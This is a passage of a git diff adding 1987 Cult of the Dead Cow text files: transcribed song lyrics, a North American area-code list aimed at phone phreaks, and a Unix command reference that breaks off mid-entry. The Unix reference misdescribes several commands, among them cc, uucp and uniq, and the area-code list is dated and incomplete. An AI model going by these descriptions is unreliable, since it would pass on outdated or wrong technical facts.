+Dressed doen, homeboyz, minority - Join the Army + +We're the few, we're the proud, we like to jam it loud +The music we play, won't have it any other way +We're armed to the bone with our music and our tone +Recruiting on the street, with the sound of our beat +Growing larger every day, and everytime we play +Don't need no college plan, we're just a hard-rocking band +We like our music to please, we ain't gonna appease +No pressure's to much, to make us change our touch + +Hardcore, Metal, the New Wave +We're not a gang - Join the Army + +Don't be no fool, don't let your prejudice rule +Don't judge by your fear, judge us by your ear +Can't believe every word, or every story that you've heard +Just play the song, I know you'll start to rock along +Well I don't care, 'bout the clothes you wear +It's the size of your heart, not the length of your hair +Don't make no difference to me, the color that you be +Black, white or brown, it's all the same to me + +Well if you still don't believe, you best get up and leave +Do what you must do, but this ain't the place for you +You got no right, but if you start a fight +We'll be rockin your head, but with our fists instead +I'll fight it with the band, right down till the end +Ask anyone I've met, this ain't no idle threat +Don't flap no fit, and it won't come to this +Bust as for me, I'm down with the Army + +New York, London, Venice +Why join a gang? +Join the Army + +Suicidal Rock - Join the Army +Suicidal Rock - Join the Army +Suicidal Rock - Join the Army +Suicidal Rock - Join the Army +Suicidal Rock - I WANT YOU TO Join the Army - S.T. + + + You Got, I Want + --------------- + +INTRO: + You got, I want + You got, I want + You got, I want + You got, I want + +I can't tell you why you're crying +I can only tell you to wipe your tears away +You see seomthing that's inside me + + + +I think I'll save it for a rainy day +I don't need no constitution +To tell me what is wrong and right for me +C'mon take it little honey +I want to tell you baby what you see + +CHORUS: + You're gonna take all that I'm giving, Yea, + What's the matter can't you see + You know I'm taking, you're not giving + Oh baby, baby, please please please please + +I'm not sure what I told you +I'm only sure that it wasn't true +You said I told you that I love you +Well there's a thousand others just like you +You said I used to be romantic +Well now I don't need to be anymore +You want to talk about commitment +I think I want to show you the door + +CHORUS + +INTRO + +Love me, hold me tonight + +I can't tell you why you're crying +I can only tell you to wipe your tears away +You see something this is inside me +I think I'll save it for a rainy day +I don't need no constitution +To tell me what is wrong and right for me +C'mon take it little honey +I want to tell you baby what you see + +You got, I want, I want now + + + A Little Each Day + ----------------- + +Took a walk down under the street +Never thought that I'd see the day I would meet +Came and whispered in my ear, +But I tried to pretend that I didn't hear +Turned my head and I walked away +And I tried to forget what they had to say +Put on a smile and I tried to hide +But I couldn't keep myself from crying inside + +CHORUS: + Oh, I...So I turned my head and I walked away + Oh, I...And I tried to forget what he had to say + Oh, I...And I chalked it up as another day + Oh, I say...I died a little today + +Took a journey though my brain +And they saw the scares and they felt my pain +Saw the things I didn't want to find +Knew the dreams I had over a bottle of wine +Thought if I lied I was going to win, +But they said the battle wouldn't even begin +Thought about the lies that I said to myself, +But I knew it's too late to find the help + +CHORUS + + + + +I die a little each day + + + The Prisoner + ------------ + +You're the prisoner locked in your cell +You're living in your personal hell +Invisible bars block your view +They don't exist, except for you + +VERSE: + Free, why can't you see, how easily, + You could break those bars right down, + New freedom found, travel around, + And find out exactly why, + Give it a try, living the lie, + And try to solve the final clue, + See if it's true, found out just who, + The real enemy is you. + + Don't be afraid + Don't be deceived + A new world for you + Can beconceived + +Don't tell me 'bout how the world isn't fair +How you'll live your life how you choose +I don't want to hear another excuse +How it ain't your fault when you lose + +And you're the prisoner +Your mind's diseased, my mind is cured + +I was the prisoner but never again +My worst enemy is now my friend +Brainwashed, you'll probably believe +I gave it up for a new reprieve + +REPEAT VERSE + +You say that you're political +I say "Screw that, you're just a fool" + + + War Inside My Head + ------------------ + +War inside my head +War inside my head +War inside my head +War inside my head + +War inside my head ain't a pretty sight +But I don't want no sympathy +It's happend a thousand times before +It's just a harsh realtiy + +CHORUS: + War inside my head - can you sense it + War inside my head - can you see it + War inside my head - can you feel it + War inside my head + Can you hear the - Pain + Can you see the - Pain + Can you sense the - Pain + + + + Can you feel the - Pain + Can you help the - Pain + Can you fix the - Pain + Can you taste the - Pain + Can you hear the war inside my head + +The only thing real is the way I feel +And that's the pain that's deep inside +The battle from within is gonna begin +And there ain't nowhere to hide + +CHORUS + +War inside my head every night and day +I never get no piece of mind +It ought to be a sin, I just can't win +And pure hell is all I find + + + I Feel Your Pain + ---------------- + +Survive +You can not stand a single word I say +But you manage to hear every word anyway +Your eyes they always seem to be fixed on me +But not for love but for misery + +CHORUS: + You say nothing yet I still hear + I am the thing that you most fear + I cause the pain deep in your heart + O, how I love to tear your world apart + Well I feel your pain and I survive + And i survive + +I see your anger, I can hardly wait +How it feels so good to cause you such hate +Tried to ignore me. Thought I'd go away +But I'm back for good. I'm here to stay + +CHORUS + +You thought that you could get the best of me +To put me down, it seemed, so easily +I take such pride in the work I do +You hoped I'd fail but I'm not like you + +CHORUS + +I feel your pain so I survive + + + Possessed To Skate + ------------------ + +Let's skate! + +Seemed like such an innocent toy +He was the All-American boy +Got a skate at eight years old +Now the story can be told + +Beware he's Possessed to Skate! + +Skating takes him up in height +He's a pilot on a modern flight + + + +See him flying thru the air +If he don't land then he don't care + +CHORUS: + Cause he rips - he rips + When he skates - he skates + Cause he never hesitates + He's the wizard on the wheels + Like a modern gladiator ain't got no fears + So skate + +He shoots the pool like a launching pad +If it ain't insane than you can't get rad +Skating is all that's on his mind +He's skating radical all the time + +CHORUS + +Beware he's Possessed to Skate! + +Looks like a magic carpet ride +Six foot airiels inverts backside +Optical illusion it must be +He redefines insanity + +CHORUS + +Doesn't understand why you'd wanna walk +Ain't got time to sit and talk +Used to be just like you and me +Now he's an outcast of society + +Beware he's Possessed to Skate! + +And the skating's getting radical + + + No Name, No Words + ----------------- + +I close my eyes, yet I still see +I can not hide from what's inside of me +I hear my thoughts, but they're not clear +And now I tremble with fear + +CHORUS: + +No one can tell me what's sane +You see the tears I cry +But you can't feel my pain +No title can classify me +I'm a person with feelings +A number I refuse to be + +Don't try to live my life +You cannot talk for me +Now I'm on the brink, brink of insanity + +Sometimes I stare into space +I try to think about another place +Where happiness I'll see +I'll find a place for me and find some sanity + +Sometimes I look at you +And I wonder what will I do +Will my mind stay intact +How will I react, will I do any harm to you + + + + +Open my eyes, but I can't see +Maybe the hatred has blinded me +There's not a sound, Yet I still hear +Now the pain is so clear + +CHORUS + +Sometimes I stop to think +Or maybe my thinking just stops +Doesn't matter anyway +No one hears what I say, I'm on the brink of insanity + +Well I know him but not his name +In everyone, yet not the same +Play with the cards I'm dealt, worse I never felt +I'm playing a sick man's game + + + Born To Be CYCO + --------------- + +CYCO CYCO CYCO CYCO +CYCO CYCO CYCO CYCO +Born cyco it's the way I was meant to be +Live cyco it's the only life for me + +BURNING BURNING BURNING BURNING +BURNING BURNING BURNING BURNING +Burning up can't you see +But it's the only life for me + +I'm burning up, the fire blazes inside +Out of control, so now you better hide + +Run around the corner +But the corner never ends +You scream out, beg, shout, but the nightmare never ends +You turn around but you just see +What you saw before +Spin round, fall down +Now you see no more + +RAGING RAGING RAGING RAGING +RAGING RAGING RAGING RAGING +Raging mad that may be +But it's the only life for me + +I'm raging mad and soon you will know +I'm burning up from my head to toe + +CYCO CYCO CYCO CYCO +CYCO CYCO CYCO CYCO +It's the only life I know +I was born to cyco + +I'm cyco and my mind it starts to bend +Out of control, it seems to be the trend + +Born to be CYCO + + + Two Wrongs + ---------- + +Welcome to the year of the cyco +It's been a long, long wait + + + +Welcome to a modern blitzkrieg +With peace, I can't relate +Welcome to death now you'll love it +Once in a lifetime treat +Say goodbye to peace and order +You and my terror will meet + +My best friend is misery +My girlfriend is insantiy +My father is revenge + +My love for you I must confess +With my knife you passed the test +I'll love you til the end + +Evacuation of my mind +In my body no heart you'll find +Where there's death I lurk + +Empty stare incoherent +Screams of pain, love to hear it, +Take pride in my work + +They say two wrongs don't make a right +Well maybe that is true +But I can't describe the feeling I get +When I take revenge on you + +Forgiveness is the key to desctruction +But you can't open my door +Repentance, you're indecision +I hestitate no more +Tradition is the root of all evil +So now I water the tree +Salvation, an all-time sentence +So now I walk away free + +Two wrongs don't make a right, +But they make me feel a whole lot better + + + Lookin In Your Eyes + ------------------- + +I see destruction as it rages thru your veins +I see depression as it fills your heart with pain +I see the cure you found, your artificial peace +I see your body rot, your solution now has its feast + +And now I look, I look in your eyes +Looking in your eyes +Looking in your eyes +Looking in your eyes +Looking in your eyes + +What I see, in your eyes +I can see, they tell no lies +Looking in your eyes + +I see salvation oh, so close, but yet so far +A see the glimmering of the Holy star +I see your future, it's a nightmare and I lie +but you refused my help, now I have no more strength to try + +Now I see, I see the lies +Looking in your eyes +In your eyes, I see the lies + + + + +What I see, in your eyes +I can see, you tell no lies +Looking in your eyes + +Looking through my eyes + +Well I would die for you +I've died enough now I'm through +But one day you will see +What won't but what should B-T-F Please stay + + + + Fan Club Merchandising Information + P.O. Box 5131 + Venice, CA 90296 + + +=============================================================================== + (c)1987 cDc communications by Wasted Pandemonium 0/0/87-11 + All Rights Worth Shit + + diff --git a/textfiles.com/groups/CDC/cDc-0012.txt b/textfiles.com/groups/CDC/cDc-0012.txt new file mode 100644 index 00000000..a429e9e7 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0012.txt @@ -0,0 +1,340 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + METALLICA + / \ + Master of Puppets + + Compliments of Swamp Rat + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + In memory of Cliff Burton; may he find peace... + S. Ratte' 4/6/87 + +All lyrics by Hetfield +All lyrics (c)1985 Creeping Death Music + ASCAP + +_______________________________________________________________________________ + +--BATTERY + +Lashing out the action, returning the reaction +Weak are ripped and torn away +Hypnotizing power, crushing all that cower +Battery is here to stay + +-CHORUS- +Smashing through the boundaries +Lunacy has found me +Cannot stop the battery +Pounding out aggression +Turns into obsession +Cannot kill the battery +Cannot kill the family +Battery is found in me +Battery + +Crushing all deceivers, mashing non-believers +Never ending potency +Hungry violence seeker, feeding off the weaker +Breeding on insanity + +-CHORUS- + +Circle of destruction, hammer comes crushing +Powerhouse of energy +Whipping up a fury, dominating flurry +We create the battery + +-CHORUS- + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx +--MASTER OF PUPPETS + +End of passion play, crumbling away +I'm your source of self-destruction +Veins that pump with fear, sucking darkest clear +Leading on your deaths' construction +Taste me you will see +More is all you need +You're dedicated to +How I'm killing you + +-CHORUS- +Come crawling faster +Obey your master +Your life burns faster +Obey your master +Master +Master of puppets I'm pulling your strings +Twisting your mind and smashing your dreams +Blinded by me, you can't see a thing +Just call my name, 'cause I'll hear you scream +Master +Master +Just call my name, 'cause I'll hear you scream +Master +Master + +Needlework the way, never you betray +Life of death becoming clearer +Pain monopoly, ritual misery +Chop your breakfast on a mirror +Taste me you will see +More is all you need +You're dedicated to +How I'm killing you + +-CHORUS- + +Master, Master, where's the dreams that I've been after? +Master, Master, you promised only lies +Laughter, laughter, all I hear or see is laughter +Laughter, laughter, laughing at my cries + +Hell is worth all that, natural habitat +Just a rhyme without a reason +Neverending maze, drift on numbered days +Now your life is out of season +I will occupy +I will help you die +I will run through you +Now I rule you too + +Come crawling faster +Obey your master +Your life burns faster +Obey your master +Master + +-CHORUS- + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx +--THE THING THAT SHOULD NOT BE + +Messenger of fear in sight +Dark deception kills the light +Hybrid children watch the sea +Pray for father, roaming free + +-CHORUS- +Fearless wretch +Insanity +He watches +Lurking beneath the sea +Great old one +Forbidden site +He searches +Hunter of the shadows is rising +Immortal +In madness you dwell + +Crawling chaos, underground +Cult has summoned, twisted sound +Out from ruins once possessed +Fallen city, living death + +-CHORUS- + +Not dead which eternal lie +Stranger eons death may be +Drain you of your sanity +Face the thing that should not be + +-CHORUS- + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx +--WELCOME HOME (SANITARIUM) + +Welcome to where time stands still +No one leaves and no one will +Moon is full, never seems to change +Just labled mentally deranged +Dream the same thing every night +I see our freedom in my sight +No locked doors, no windows barred +No things to make my brain seem scarred + +Sleep my friend and you will see +That dream is my reality +They keep my locked up in this cage +Can't they see it's why my brain says rage + +Sanitarium, leave me be +Sanitarium, just leave me alone + +Build my fear of what's out there +And cannot breathe the open air +Whisper things into my brain +Assuring me that I'm insane +They think our heads are in their hands +But violent use brings violent plans +Keep him tied, it makes him well +He's getting better, can't you tell? + +No more can they keep us in +Listen, damn it, we will win +They see it right, they see it well +But they think this saves us from our hell + +Sanitarium, leave me be +Sanitarium, just leave me alone +Sanitarium, just leave me alone + +Fear of living on +Natives getting restless now +Mutiny in the air +Got some death to do +Mirror stares back hard +Kill, it's such a friendly word +Seems the only way +For reaching out again + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx +--DISPOSABLE HEROES + +Bodies fill the fields I see, hungry heroes end +No one to play soldier now, no one to pretend +Running blind through killing fields, bred to kill them all +Vicim of what said should be +A servant 'till I fall + +-CHORUS- +Soldier boy, made of clay +Now an empty shell +Twenty one, only son +But he served us well +Bred to kill, not to care +Do just as we say +Finished here, greetings death +He's yours to take away +Back to the front +You will do what I say, when I say +Back to the front +You will die when I say, you must die +Back to the front +You coward +You servant +You blindman + +Barking of machine gun fire, does nothing to me now +Sounding of the clock that ticks, get used to it somehow +More a man, more stripes you bare, glory seeker trends +Bodies fill the fields I see +The slaughter never ends + +-CHORUS- + +Why am I dying? +Kill, have no fear +Lie, live off lying +Hell, hell is here + +I was born for dying + +Life planned out before my birth, nothing could I say +Had no chance to see myself, moulded day by day +Looking back I realize, nothing have I done +Left to die with only friend +Alone I clench my gun + +-CHORUS- + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx +--LEPER MESSIAH + +Spineless from the start, sucked into the part +Circus comes to town, you play the lead clown +Please, please +Spreading his disease, living by his story +Knees, knees +Falling to your knees, suffer for his glory +You will + +-CHORUS- +Time for lust, time for lie +Time to kiss your life goodbye +Send me money, send me green +Heaven you will meet +Make a contribution +And you'll get a better seat +Bow to Leper Messiah + +Marvel at his tricks, need your Sunday fix +Blind devotation came, rotting your brain +Chain, chain +Join the endless chain, taken by his glamour +Fame, fame +Infection is the game, stinking drunk with power +We see + +-CHORUS- + +Witchery, weakening +See the sheep are gathering +Set the trap, hypnotize +Now you follow + +-CHORUS- + +Lie + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx +--DAMAGE, INC. + +Dealing out the agony within +Charging hard and no one's gonna give in +Living on your knees, conformity +Or dying on your feet for honesty +Inbred, our bodies work as one +Bloody, but never cry submission +Following our instinct not a trend +Go against the grain until the end + +-CHORUS- +Blood will follow blood +Dying time is here +Damage Incorporated + +Slamming through, don't fuck with razorback +Stepping out? You'll feel our hell on your back +Blood follows blood and we make sure +Life ain't for you and we're the cure +Honesty is my only excuse +Try to rob us of it, but it's no use +Steamroller action crushing all +Victim is your name and you shall fall + +-CHORUS- + +We chew and spit you out +We laugh, you scream and shout +All flee, with fear you run +You'll know just where we come from + +Damage Incorporated + +Damage jackals ripping right through you +Sight and smell of this, it gets me goin' +Know just how to get just what we want +Tear it from your soul in nightly hunt +Fuck it all and fucking no regrets +Never happy endings on these dark sets +All's fair for Damage Inc. you see +Step a little closer if you please + +=============================================================================== + (c)1987 cDc communications by Swamp Ratte' 4/6/87-12 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0013.txt b/textfiles.com/groups/CDC/cDc-0013.txt new file mode 100644 index 00000000..2fffb753 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0013.txt @@ -0,0 +1,113 @@ + +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + + GIBE's HANDY GUIDE TO NORTH AMERICAN NUMBERING PLAN AREAs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A reference file that today's active phreak cannot afford to be without. Provides quick call-destination information, + when only the NPA is known. A fun and exciting file + for the whole family. + + Courtesy of High Priest and Scribe, F. Gibe + + >>> A CULT Publication......1987 <<< -cDc- CULT OF THE DEAD COW -cDc- _______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Numbering Plan Area (NPA): a geographic division within which + telephone directory numbers are subgrouped. A 3-dig., N0/1X + or NXX code is assigned to each NPA, where N = any digit 2- + 9, 0/1 = 0 or 1, and X = any digit 0 through 9. +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + NPA Location NPA Location + ~~~ ~~~~~~~~ ~~~ ~~~~~~~~ + --- -------- 201 New Jersey (Newark) + 202 Washington, D.C. 203 Connecticut + 204 Manitoba (Canada) 205 Alabama + 206 Washington (Seattle) 207 Maine + 208 Idaho 209 California (Fresno) + 212 New York (City) 213 California (L.A.) + 214 Texas (Dallas) 215 Pennsylvania (Philly) + 216 Ohio (Cleveland) 217 Illinois (Springfield) + 218 Minnesota (Duluth) 219 Indiana (South Bend) + --- -------- 301 Maryland + 302 Delaware 303 Colorado + 304 West Virginia 305 Florida (Miami) + 306 Saskatchewan (Canada) 307 Wyoming + 308 Nebraska (N. Platte) 309 Illinois (Peoria) + 312 Illinois (Chicago) 313 Michigan (Detroit) + 314 Missouri (St. Louis) 315 New York (Syracuse) + 316 Kansas (Wichita) 317 Indiana (Indianapolis) + 318 Louisiana (Shreveport) 319 Iowa (Dubuque) + --- -------- 401 Rhode Island + 402 Nebraska (Omaha) 403 Alberta (Canada) + 404 Georgia (Atlanta) 405 Oklahoma (Oklahoma City) + 406 Montana 407 ? + 408 California (San Jose) 409 Texas (Galveston) + 412 Pennsylvania (Pitts) 413 Massachusetts (western) + 414 Wisconsin (Milwaukee) 415 California (San Francisco) + 416 Canada (Toronto) 417 Missouri (Springfield) + 418 Quebec 419 Ohio (Toledo) + --- -------- 501 Arkansas + 502 Kentucky 503 Oregon + 504 Louisiana (N. Orleans) 505 New Mexico + 506 New Brunswick (Canada) 507 Minnesota (Rochester) + 508 ? 509 Washington (Spokane) + 512 Texas (San Antonio) 513 Ohio (Cincinnati) + 514 Canada (Montreal) 515 Iowa (Des Moines) + 516 New York (Hempstead) 517 Michigan (Lansing) + 518 New York (Albany) 519 Ontario (Canada) + --- -------- 601 Mississippi + 602 Arizona 603 New Hampshire + 604 British Columbia 605 South Dakota + 606 Kentucky (Louisville) 607 New York (Binghampton) + 608 Wisconsin (Madison) 609 New Jersey (Trenton) + 612 Minnesota (-apolis) 613 Canada (Ottawa) + 614 Ohio (Columbus) 615 Tennessee (Nashville) + 616 Michigan (G. Rapids) 617 Massachusetts (Bahstin) + 618 Illinois (Centralia!) 619 California (San Diego) + --- -------- 701 North Dakota + 702 Nevada 703 Virginia (Arlington) + 704 North Carolina 705 Ontario (Canada) + 706 NW Mexico 707 California (Santa Rosa) + 708 ? 709 Newfoundland (Canada) + 712 Iowa (Council Bluffs) 713 Texas (Houston) + 714 California (Orange) 715 Wisconsin (Eau Claire) + 716 New York (Buffalo) 717 Pennsylvania (Harrisburg) + 718 New York (City) 719 ? + 800 INWATS 801 Utah + 802 Vermont 803 South Carolina + 804 Virginia (Richmond) 805 California (Bakersfield) + 806 Texas (Cow Hell) 807 Ontario (Canada) + 808 Hawaii 809 Puerto Rico/Bahamas/etc. + 812 Indiana (Evansville) 813 Florida (Ft. Myers) + 814 Pennsylvania (Altoona) 815 Illinois (Rockford) + 816 Missouri (Kansas City) 817 Texas (Ft. Worth) + 818 California (L.A.) 819 Quebec (Canada) + --- -------- 901 Tennessee (Memphis) + 902 Nova Scotia 903 Mexico + 904 Florida (Jacksonville) 905 Mexico City + 906 Wisconsin 907 Alaska + 908 ? 909 ? + 912 Georgia (Savannah) 913 Kansas (Topeka) + 914 New York (White Plain) 915 Texas (Sweetwater) + 916 California (Sacramento)917 ? + 918 Oklahoma (Tulsa) 919 North Carolina (Raleigh) +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Th-th-that's all, kiddoes. By the way, the cities which I've put in +parentheses by several of the states are meant to give you some idea, +geographically, where the NPA in question falls. Those states listed +alone have but one NPA. -->> If you are able to provide locations +for those NPA's that I could not, please drop me a line on Demon Roach. + Thanks... + +================================>>>>>>>>><<<<<<<<<============================= + (c)1987 cDc communications by Franken Gibe 0/0/87-13 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0014.txt b/textfiles.com/groups/CDC/cDc-0014.txt new file mode 100644 index 00000000..7fc070b6 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0014.txt @@ -0,0 +1,489 @@ + +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Gibe's UNIX COMMAND Bible + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The latest file from the Cow's Information Series, + Franken's UNIX Command Bible is suitable for the UNIX + dilettante, as well as for the hardcore hack. Provides + easy reference for those hard-to-remember commands. + Attractive print-out fits well in any decor. + + + Edited by High Priest and Scribe, F. Gibe + + "Smash the State! Have a Nice Day!" ........ 1987 + +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Command Description + ~~~~~~~ ~~~~~~~~~~~ + + awk Search for a pattern within a file. Includes + a built-in programming language. + + bdiff Compares two large files. + + bfs Scans a large file. + + cal Displays a calendar. + + cat Concatenates and prints files. + + cc C compiler. + + cd Change directory. + + chgrp Changes a file's group ownership. + + chmod Changes a file's access permissions. + + chown Changes the individual ownership of a file. + + cmp Compares two files; diplays the location (line + and byte) of the 1st difference between these. + + comm Compares two files so as to determine which + lines are common to both. + + cp Copies a file to another location. + + cu Calls another UNIX system. + + date Returns the date and time. + + df Displays free space in the file system. + + diff Displays the differences between two files + or directories. + + diff3 Displays the differences between three files + or directories. + + du Reports on file system usage. + + echo Displays its argument. + + ed Text editor. + + ex Text editor. + + expr Evaluates its argument which is generally + a mathematical formula. + + f77 FORTRAN compiler. + + find Locates the files w/ specified characteristics. + + format Initializes a floppy disk. + + grep Searches for a pattern within a file. (see awk) + + help Salvation. + + kill Ends a process. + + ln Used to link files. + + lpr Copies the file to the line printer. + + ls Displays info. about one or more files. + + mail Used to receive or deliver e-mail. + + mkdir Creates a new directory. + + more Displays a long file so that the user + can scroll through it. + + mv Used to move or rename files. + + nroff Used to format text. + + ps Display a process's status. + + pwd Display the name of the working directory. + + rm Removes one or more files. + + rmdir Deletes one or more directories. + + sleep Causes a process to become inactive for a + specified length of time. + + sort Sort and merge one or more files. + + spell Finds spelling errors in a file. + + split Divides a file. + + stty Display or set terminal parameters. + + tail Displays the end of a file. + + troff Outputs formatted output to a typesetter. + + tset Sets the terminal type. + + umask Allows the user to specify a new creation + mask. + + uniq Compares 2 files. Finds and displays lines + in one file that are unique. + + uucp UNIX-to-UNIX execute. + + vi Full screen editor. + + wc Displays details in the file size. + + who Info. on who else be online. + + write Used to send a message to another user. +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + That's the Summary. Now print it out, if you'd like. Good for fast + referencing. Following the Summary is a more in-depth look at each + of the commands already listed. +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + awk program filenames + awk -f programfilenames filenames + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The [awk] utility can be used to find any lines in a file which + match a certain pattern; once found, these lines can be processed. + In the first configuration, the program that [awk] is to + execute is specified in the command line. In the second, + the program is stored as the file given in programfilename. + The -f option instructs [awk] to read this file. + + + [bdiff] is used to compare files too large for [diff]. See + [diff] for the format. + + + bfs filename + ~~~~~~~~~~~~ + [bfs] is used to scan a large file to determine where to split + it into smaller files. + + + cal 01-12 (month) 0-9999 (year) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + [cal] utility can be used to display a calendar of any year + from 0 to 9999 AD, and any or all of the twelve months. + + + cat filename + ~~~~~~~~~~~~ + [cat] can be used to examine a short file. See [more] for + lengthier files. + + + number[cc] + ~~~~~~~~~~ + The [cc] command changes the entire current line, or a group + of lines starting with the current line. [number] represents + the number of old lines to be deleted. + + + cd directory name + ~~~~~~~~~~~~~~~~~ + The [cd] command causes the current working directory to be + changed. The [directory name] can be either a full or partial + path name. + + + chgrp groupname filename + ~~~~~~~~~~~~~~~~~~~~~~~~ + This command changes the group ownership of a file. + + + chmod {ugoa} {+-} {rwx} + ~~~~~~~~~~~~~~~~~~~~~~~ + The [chmod] utility changes a file's access permissions. [u] + specifies the user or owner's login name, [g] specifies a group + and [o] indicates all others. [a] indicates the user, group, + and all others; c'est the default. [+] adds permission; [-] + deletes it. [r] indicates read, [w] write, and [x] execute. + + + chown individualname filename + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + [chown] changes the individual ownership of a file (see chgrp). + + + cmp filename1 filename2 + ~~~~~~~~~~~~~~~~~~~~~~~ + [cmp] is one of the four principle UNIX file comparison utilities. + It compares 2 files, and returns the positions where they differ. + + + comm -options filename1 filename2 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The [comm] utility, in comparing two files, produces three + columns of output. The first contains lines unique to the + first file, the second, lines unique to the second, and the + third column, lines common to both files. By placing the + numbers [1], [2], and/or [3] in the [options] position, any + one (or more) of these columns can be suppressed. + + + cp sendingfile receivingfile + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The [cp] command copies a file. [sendingfile] is the file to be + copied, [receivingfile] is the file to which it is copied. + + + diff [options] filename1 filename2 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Again, a file comparison utility. However, with [diff], the + differences are displayed as instructions that can be used + to edit the files so that they are identical. + + + diff3 filename1 filename2 filename3 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Similar to [diff], [diff3] is unique in that it can compare + three files. Gee. + + + ed filename + ~~~~~~~~~~~ + One of the UNIX's three editing utilities, [ed] is a basic line + editor. I'm sure there are other files that will explain how + to use [ed]. Thus, I'll confine myself to a rough outline: + e filename ........... edit a different file + f filename ........... changes the currently specified file. + h .................... provides explanation of errors. + I + text ................. inserts text before the current line. + line,linel ........... lists the specified lines. + line,linen ........... displays specified lines, preceded by + their line numbers. + q .................... exit from [ed] + w .................... writes buffer to current filename. + + or - ............... +number of lines closer to end + -number of lines closer to beginning. + + + expr formula + ~~~~~~~~~~~~ + Utility which evaluates an expression. + + + find directory searchcriteria parameter actioncriteria parameter + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The [find] utility can be very useful indeed, especially when + confronted by a UNIX with countless files. Basically, this + command finds files which meet certain criteria, and then + performs an operation (such as printing the files). Search + criteria consists of the following: + + + Criteria Parameter Description + ~~~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~ + -name filename Files whose names match [filename] + will meet this criteria. + -type filetype Files whose type matches that specified + [b] block special will meet criteria. + [c] character spec. file + [d] directory file + [f] plain file + -links +/- x Files with # of links indicated by + + or - x meet this criteria. + -user login name Files belonging to user with given + or user ID # login name or ID # meet criteria. + -group group name Files belonging to group with given + or group ID # group name or ID # meet this criteria. + -size + or - x Files greater than +x bytes or less + than -x bytes meet this criteria. + -atime + or - x Files not accessed within +x days, + accessed within -x days, or acc- + essed x days ago meet criteria. + -mtime + or - x Files NOT modified within +x days, + modified within -x days, or modified + x days ago will meet this criteria. + -newer filename Files modified more recently than + [filename] meet this criteria. + Action Criteria " " + ~~~~~~~~~~~~~~~ ~ ~ + -print - When search criteria are met, path + name of the file is displayed. + -exec command{ }\; Executes given command when search + criteria are met. { } indicates file- + name, [\;] ends the command. + -ok command{ }\; Exactly like -exec, except user is + prompted [y] or [n] before command. + + + grep -options searchstring filenames + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Another search command, this for a particular string of chars. + + + ln original new + ~~~~~~~~~~~~~~~ + [ln] establishes a file link. For this utility, [original] repre- + sents the filename to be linked, [new] the filename of the new + link to the original. + + + [ls] provides directory information. [ls -l/] displays a more + complete version of the info. list. + + + mail username username + ~~~~~~~~~~~~~~~~~~~~~~ + This utility allows e-mail to be 